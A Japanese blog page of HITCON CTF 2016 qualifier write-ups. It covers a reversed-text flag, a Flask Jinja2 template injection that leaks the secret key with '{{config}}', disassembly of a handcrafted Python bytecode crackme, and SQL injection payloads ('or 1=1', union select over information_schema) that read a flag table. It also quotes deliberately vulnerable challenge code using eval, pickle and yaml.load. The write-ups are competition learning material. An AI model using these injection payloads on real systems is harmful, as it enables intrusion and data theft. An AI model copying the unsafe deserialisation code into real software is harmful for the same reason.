2016年10月

HITCON CTF 2016 Quals writeup Welcome

Welcome

628 Teams solved.

Description

}FTC NOCTIH ot emocleW{noctih

Hint

None

逆から読むとフラグになります。
フラグは、
hitcon{Welcome to HITCON CTF}
です。

 

HITCON CTF 2016 Quals writeup Secure Posts

Secure Posts

117 Teams solved.

Description

Here is a service that you can store any posts. Can you hack it?

http://52.69.126.212/

Hint

None

問題で提示されたURLにアクセスします。次のようなページが表示されます。

no title


ページ内にあるsource codeのリンクからPythonのソースコードを見ることができます。Flaskというフレームワークを使用したウェブアプリケーションです。
from flask import Flask
import config

# init app
app = Flask(__name__)
app.secret_key = config.flag1
accept_datatype = ['json', 'yaml']

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

# load utils
def load_eval(data):
    return eval(data)

def load_pickle(data):
    import pickle
    return pickle.loads(data)

def load_json(data):
    import json
    return json.loads(data)

def load_yaml(data):
    import yaml
    return yaml.load(data)

# dump utils
def dump_eval(data):
    return repr(data)

def dump_pickle(data):
    import pickle
    return pickle.dumps(data)

def dump_json(data):
    import json
    return json.dumps(data)

def dump_yaml(data):
    import yaml
    return yaml.dump(data)


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename)) as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]
    return render_template_string(template.format(name=name), **args)

def load_posts():
    handlers = {
        # disabled insecure data type
        #"eval": load_eval,
        #"pickle": load_pickle,

        "json": load_json,
        "yaml": load_yaml
    }

    datatype = session.get("post_type", config.default_datatype)
    data = session.get("post_data", config.default_data)

    if datatype not in handlers: abort(403)
    return handlers[datatype](data)

def store_posts(posts, datatype):
    handlers = {
        "eval": dump_eval,
        "pickle": dump_pickle,

        "json": dump_json,
        "yaml": dump_yaml
    }
    if datatype not in handlers: abort(403)
    data = handlers[datatype](posts)

    session["post_type"] = datatype
    session["post_data"] = data


@app.route('/')
def index():
    posts = load_posts()
    return render_template('index.html', posts = posts, accept_datatype = accept_datatype)

@app.route('/post', methods=['POST'])
def add_post():
    posts = load_posts()

    title = request.form.get('title', 'empty')
    content = request.form.get('content', 'empty')
    datatype = request.form.get('datatype', 'json')
    if datatype not in accept_datatype: abort(403)
    name = request.form.get('author', 'anonymous')[:10]

    from datetime import datetime
    posts.append({
        'title': title,
        'author': name,
        'content': content,
        'date': datetime.now().strftime("%B %d, %Y %X")
    })
    session["name"] = name
    store_posts(posts, datatype)
    return redirect(url_for('index'))

@app.route('/source')
def get_source():
    with open(__file__, "r") as f:
        resp = f.read()
    return Response(resp, mimetype="text/plain")
Authorに入力した内容がsession変数に格納され、render_template関数でrender_template_string関数にそのまま渡されています。Flask Jinja2 Template Injectionというものが使えそうです。
https://hackerone.com/reports/125980
Authorに以下の文字列を入力してsubmitします。
{{config}}
1

次のとおりconfigの内容が表示されました。

2
<Config {'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': '__main__', 'PREFERRED_URL_SCHEME': 'http', 'PROPAGATE_EXCEPTIONS': None, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_SECURE': False, 'SERVER_NAME': None, 'SESSION_COOKIE_DOMAIN': None, 'TEMPLATES_AUTO_RELOAD': None, 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': True, 'DEBUG': False, 'SESSION_COOKIE_PATH': None, 'TESTING': False, 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_NAME': 'session', 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'TRAP_HTTP_EXCEPTIONS': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_BAD_REQUEST_ERRORS': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31)}>
フラグは、
hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?} 
です。




HITCON CTF 2016 Quals writeup Handcrafted pyc

Handcrafted pyc

195 Teams solved.

Description

Can your brain be a Python VM? (Please use Python 2.7)



crackme.py

Hint

None

提示されたPythonのコードは、base64でエンコードされた文字列をbase64でデコードし、それをzlibで解凍した結果をmarshalで読み込んでexecで実行しています。marshalで読み込んだコードはPythonのバイトコードになっているので、disで逆アセンブルします。
>>> import dis
>>> import marshal,zlib,base64
>>> code = marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')))
>>> dis.dis(code)
逆アセンブルした結果は次のとおりです。
  1           0 LOAD_CONST               1 (<code object main at 00000000022FA1B0, file "<string>", line 1>)
              3 MAKE_FUNCTION            0
              6 STORE_NAME               0 (main)

  4           9 LOAD_NAME                1 (__name__)
             12 LOAD_CONST               2 ('__main__')
             15 COMPARE_OP               2 (==)
             18 POP_JUMP_IF_FALSE       31

  5          21 LOAD_NAME                0 (main)
             24 CALL_FUNCTION            0
             27 POP_TOP
             28 JUMP_FORWARD             0 (to 31)
        >>   31 LOAD_CONST               0 (None)
             34 RETURN_VALUE
さらに、main関数をdisで逆アセンブルします。
>>> dis.dis(main)
逆アセンブルした結果は次のとおりです。chr関数で文字コードから文字列を生成しています。
  1           0 LOAD_GLOBAL              0 (chr)
              3 LOAD_CONST               1 (108)
              6 CALL_FUNCTION            1 l
              9 LOAD_GLOBAL              0 (chr)
             12 LOAD_CONST               1 (108)
             15 CALL_FUNCTION            1 l
             18 LOAD_GLOBAL              0 (chr)
             21 LOAD_CONST               2 (97)
             24 CALL_FUNCTION            1 a
             27 LOAD_GLOBAL              0 (chr)
             30 LOAD_CONST               3 (67)
             33 CALL_FUNCTION            1 C
(略) 
上記で、2列目の数字がバイト数です。0~725バイトまでこのような処理が続いており、そこで生成される文字列は、次のとおりとなります。
Call me a Python virtual machine! I can interpret Python bytecodes!!!
さらに、その先のバイトコードを見てみると、上記文字列をpassword変数に格納し、入力値と比較しています。比較した結果一致していない場合、1591バイトにジャンプしています。
(略)
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO
            760 STORE_FAST               0 (password)
            763 POP_TOP
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591 
入力値とpasswordが一致していた場合は、以下のコードが実行されます。文字コードから文字列を生成しています。ここで生成される文字列がフラグになります。
            770 LOAD_GLOBAL              0 (chr)
            773 LOAD_CONST              17 (99)
            776 CALL_FUNCTION            1 c
            779 LOAD_GLOBAL              0 (chr)
            782 LOAD_CONST              10 (116)
            785 CALL_FUNCTION            1 t
            788 LOAD_GLOBAL              0 (chr)
            791 LOAD_CONST              14 (105)
            794 CALL_FUNCTION            1 i
            797 LOAD_GLOBAL              0 (chr)
            800 LOAD_CONST               9 (104)
            803 CALL_FUNCTION            1 h
(略) 
それでは、codeを実行してパスワードを入力してみます。次のとおりフラグが表示されました。
>>> exec(code)
password: Call me a Python virtual machine! I can interpret Python bytecodes!!!
hitcon{Now you can compile and run Python bytecode in your brain!}
フラグは、
hitcon{Now you can compile and run Python bytecode in your brain!}

HITCON CTF 2016 Quals writeup Are you rich?

Are you rich?

209 Teams solved.

Description

Are you rich? Buy the flag!

http://52.197.140.254/are_you_rich/

ps. You should NOT pay anything for this challenge

Some error messages which is non-related to challenge have been removed

Hint

None

提示されたURLにアクセスします。下図がVerify paymentのページです。

3

Address欄に次のように入力して、SQLインジェクションが効くか試してみます。
' or 1=1 ######################---
”Found more than 1 records”とメッセージが表示されます。SQLインジェクションが効いているようです。

4

次に、データベースにどのような名前のテーブルが存在するか確認します。Address欄に、次のように入力します。テーブル名が"fl"で始まるテーブルがあるかどうかを確認します。
' union select table_name from information_schema.tables where table_name like 'fl%' ########
メッセージに”flag1”というアドレスは不正と表示されました。これで"flag1"というテーブルが存在することが分かります。

5

フラグを入手するために、列名を予測して、次のように入力します。
' union select flag from flag1 ########
下図のとおり、フラグが表示されました。

6

フラグは、
hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー